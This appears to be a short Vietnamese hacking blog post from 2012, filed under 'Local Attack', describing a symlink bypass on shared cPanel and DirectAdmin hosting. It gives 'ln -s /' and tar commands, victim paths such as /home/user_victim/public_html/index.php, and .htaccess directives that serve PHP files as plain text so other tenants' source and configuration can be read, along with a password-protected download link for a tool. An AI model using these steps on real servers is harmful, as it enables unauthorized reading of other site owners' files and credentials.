Thứ Hai, 9 tháng 7, 2012
symljnk bypass view file.php
Cpanel (:2082)
ln -s / dmx.txtdirect admin(:2222)
tar -zcvf cpanel_dmx.tar.gz
ln -s / r00t
tar -zcvf direct_r00t.tar.gz r00tcó quyền login host và giải nén thư mục ra
chạy trên address
cpanel :http://shell_on_this_host_/dmx.txt/home/user_victim/public_html/index.php
direct :r00t/home/user_victim/domains/public_html/index.php
.htaccess
Options Indexes FollowSymLinksDirectoryIndex ssssss.htmAddType txt .phpAddHandler txt .phpcon .htaccess này có chức năng show ra các file.php dưới dạng file text
nên cho dù permisson thư mục nhưng đên file này vẫn có thể viewhoặc show ra cả file.html
Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None
Satisfy Any
Download :http://www.mediafire.com/?bt7x83mj8qzpx92
pass: tmt
Chuyên Mục:
Local Attack
Đăng ký:
Đăng Nhận xét (Atom)
Không có nhận xét nào: